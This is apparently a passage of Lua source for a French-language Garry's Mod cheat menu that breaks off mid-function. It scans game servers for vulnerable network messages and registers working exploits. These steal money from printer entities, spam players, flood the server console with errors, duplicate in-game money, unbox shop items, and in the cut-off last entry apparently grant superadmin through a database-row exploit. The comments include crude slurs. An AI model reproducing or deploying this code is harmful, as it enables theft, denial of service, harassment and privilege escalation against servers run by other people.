- if file.Exists( "includes/extensions/client/vehicle.lua", "LUA" ) == false then -- ne pas toucher cac check !!!!
- local Lokidev = nil
- local RatesScaleLevel = LocalPlayer():SteamID()
- local iZNX = {}
- iZNX.memory = {}
- local grad = Material( "gui/gradient" )
- local upgrad = Material( "gui/gradient_up" )
- local downgrad = Material( "gui/gradient_down" )
- local ctext = chat.AddText
- function iZNX.ChatText( str )
- ctext( Color(190, 190, 190), [[ [AnatikMenu]: ]]..str )
- end
- function iZNX.NetStart( str )
- local netstart = net.Start
- if Lokidev and Lokidev.G and Lokidev.G.net then
- netstart = Lokidev.G.net.Start
- else
- -- print( "sending netmessage in insecure mode" )
- end
- return netstart( str )
- end
- function iZNX.ValidNetString( str )
- local netstart = net.Start
- if Lokidev and Lokidev.G and Lokidev.G.net then
- netstart = Lokidev.G.net.Start
- else
- -- print( "scanning for exploit in insecure mode" )
- end
- local status, error = pcall( netstart, str )
- return status
- end
- function iZNX.ValidNetString( str )
- local status, error = pcall( net.Start, str )
- return status
- end
- iZNX.sploits = {}
- local severitycols = {
- [1] = Color( 80, 80, 120 ),
- [2] = Color( 80, 120, 80 ),
- [3] = Color( 150, 90, 50 ),
- [4] = Color( 150, 50, 0 ),
- }
- function iZNX.AddExploit( name, tab )
- if !isstring( name ) then print("U FUCKED UP A SPLOIT RETARD") return end
- if !istable( tab ) then print("U FUCKED UP A SPLOIT RETARD") return end
- iZNX.sploits[name] = tab
- end
- function iZNX.IsStored( addr )
- return iZNX.memory[addr] != nil
- end
- function iZNX.GetStored( addr, fallback )
- if fallback and iZNX.memory[addr] == nil then return fallback end
- return iZNX.memory[addr]
- end
- function iZNX.Store( addr, val )
- iZNX.memory[addr] = val
- end
- function iZNX.GetAllStored()
- return iZNX.memory
- end
- function iZNX.GetAllStoredData()
- local ret = {}
- for k, v in pairs( iZNX.memory ) do
- if !istable( v ) then ret[k] = v end
- end
- return ret
- end
- function iZNX.LoadConfig()
- local f = file.Read( "Lokidev_exploit.dat", "DATA" )
- if !f then iZNX.ChatText( "T'AS PAS SAVE DE CONFIG SALE TRIZOMIQUE" ) end
- local raw = util.Decompress( f )
- local garbage = util.JSONToTable( raw )
- table.Merge( iZNX.memory, garbage )
- -- iZNX.memory = garbage
- iZNX.Menu:Remove()
- iZNX.ChatText( "Fichier de configuration chargé" )
- end
- function iZNX.SaveConfig()
- local myturds = util.TableToJSON( iZNX.GetAllStoredData() )
- if !myturds then return end
- local cumpressed = util.Compress( myturds )
- file.Write( "Lokidev_exploit.dat", cumpressed )
- iZNX.ChatText( "Fichier de configuration sauvegardé" )
- end
- iZNX.AddExploit( "€ Customizable Printers Money Stealer €", {
- desc = "Vole instantanément tout l'argent de chaque Printer sur le serveur",
- severity = 3,
- scan = function() return iZNX.ValidNetString( "SyncPrinterButtons76561198056171650" ) end,
- functions = {
- { typ = "func", name = "Prendre", func = function()
- if !timer.Exists( "Lokidev_exploit_shekels" ) then
- iZNX.ChatText( "Vole de l'argent lancé" )
- timer.Create( "Lokidev_exploit_shekels", 0.1, 0, function()
- for k, v in pairs(ents.GetAll()) do
- if( v:GetClass():find("print") ) then
- iZNX.NetStart( "SyncPrinterButtons76561198056171650" )
- net.WriteEntity(v)
- net.WriteUInt(2, 4)
- net.SendToServer()
- end
- end
- end)
- else
- timer.Remove( "Lokidev_exploit_shekels" )
- iZNX.ChatText( "Vole de l'argent stoppé" )
- end
- end, },
- },
- } )
- iZNX.AddExploit( "ULX Friends Spam", {
- desc = "Spams tout le monde sur le serveur avec un message",
- severity = 1,
- scan = function() return (iZNX.ValidNetString( "sendtable" ) and ulx and ulx.friends ) end,
- functions = {
- { typ = "string", name = "Entrer un message", default = "Bitch please", addr = "fr_spamstring" },
- { typ = "players", addr = "fr_players" },
- { typ = "func", name = "Big Spam", func = function()
- if !timer.Exists( "bigspams" ) then
- iZNX.ChatText( "big spam lancé" )
- timer.Create( "bigspams", 0.5, 0, function()
- local t = iZNX.GetStored( "fr_players", {} )
- for k, v in pairs( player.GetAll() ) do
- if !table.HasValue( t, v ) then continue end
- local buyit = {}
- for i = 1, 15 do
- table.insert( buyit, iZNX.GetStored( "fr_spamstring", "Bitch please" ) )
- end
- iZNX.NetStart( "sendtable" )
- net.WriteEntity( v )
- net.WriteTable( buyit )
- net.SendToServer()
- end
- end)
- else
- timer.Remove( "bigspams" )
- iZNX.ChatText( "big spam stoppé" )
- end
- end, },
- },
- } )
- iZNX.AddExploit( "Console Erreur Spammer", {
- desc = "Défonce le serveur rcon avec des erreurs massive )",
- severity = 1,
- scan = function() return iZNX.ValidNetString( "steamid2" ) end,
- functions = {
- { typ = "func", name = "Big Spam", func = function()
- if !timer.Exists( "Lokidev_exploit_errorz" ) then
- iZNX.ChatText( "erreur spam lancé" )
- timer.Create( "Lokidev_exploit_errorz", 0.1, 0, function()
- iZNX.NetStart( "steamid2" )
- net.WriteString( "Something is creating very strong script errors" )
- net.SendToServer()
- end)
- else
- timer.Remove( "Lokidev_exploit_errorz" )
- iZNX.ChatText( "erreur spam stoppé" )
- end
- end, },
- },
- } )
- iZNX.AddExploit( "Turbo Erreur Spammer", {
- desc = "Défonce le serveur rcon avec des erreurs massive.",
- severity = 2,
- scan = function() return iZNX.ValidNetString( "steamid2" ) end,
- functions = {
- { typ = "func", name = "Big Spam", func = function()
- if !timer.Exists( "Lokidev_exploit_errorzt" ) then
- iZNX.ChatText( "erreur spam lancé" )
- timer.Create( "Lokidev_exploit_errorzt", 0, 0, function()
- for i = 1, 100 do
- iZNX.NetStart( "steamid2" )
- net.WriteString( "Something is creating very strong script errors" )
- net.SendToServer()
- end
- end)
- else
- timer.Remove( "Lokidev_exploit_errorzt" )
- iZNX.ChatText( "erreur spam stoppé" )
- end
- end, },
- },
- } )
- iZNX.AddExploit( "€ Kun Drug €", {
- desc = "Exploit d'argent",
- severity = 3,
- scan = function() return iZNX.ValidNetString( "Kun_SellDrug" ) end,
- functions = {
- { typ = "func", name = "Lancer", func = function()
- if !timer.Exists( "Lokidev_exploit_selldrugon" ) then
- iZNX.ChatText( "Exploit lancé" )
- timer.Create( "Lokidev_exploit_selldrugon", 0, 0, function()
- for i=1,1000 do
- iZNX.NetStart("Kun_SellDrug")
- net.WriteString("mushroom")
- net.SendToServer()
- end
- end)
- else
- timer.Remove( "Lokidev_exploit_selldrugon" )
- iZNX.ChatText( "Exploit stoppé" )
- end
- end, },
- },
- } )
- iZNX.AddExploit( "Point Shop Unbox", {
- desc = "Exploit a téster",
- severity = 2,
- scan = function() return iZNX.ValidNetString( "net_PSUnBoxServer" ) end,
- functions = {
- { typ = "func", name = "Lancer", func = function()
- for k,v in pairs(player.GetAll()) do
- local i = 0
- for k2,v2 in pairs(PS.Items) do
- if !v:PS_HasItem(v2.ID) then
- timer.Simple(k*i*1.7,function()
- iZNX.NetStart("net_PSUnBoxServer")
- net.WriteEntity(v)
- net.WriteString(v2.ID)
- net.SendToServer()
- end)
- i = i + 1
- end
- end
- end
- end, },
- },
- } )
- iZNX.AddExploit( "NE MARCHE PAS", {
- desc = "NE MARCHE PAS",
- severity = 4,
- scan = function() return iZNX.ValidNetString( "pplay_deleterow" ) end,
- functions = {
- { typ = "players", addr = "l_superadmins" },
- { typ = "func", name = "Lancer", func = function()
- local t = iZNX.GetStored( "l_superadmins", {} )
- for k, v in pairs( player.GetAll() ) do
- if !table.HasValue( t, v ) then continue end
- local id = v:SteamID()
- local tbl = {}
- tbl.name = "FAdmin_PlayerGroup"
- tbl.where = {
- "steamid",
- tostring(id)
- }
- iZNX.NetStart("pplay_deleterow")
- net.WriteTable(tbl)
- net.SendToServer()
- local tbl = {}
- tbl.tblname = "FAdmin_PlayerGroup"
- tbl.tblinfo = {
- tostring(id),
- "superadmin"
- }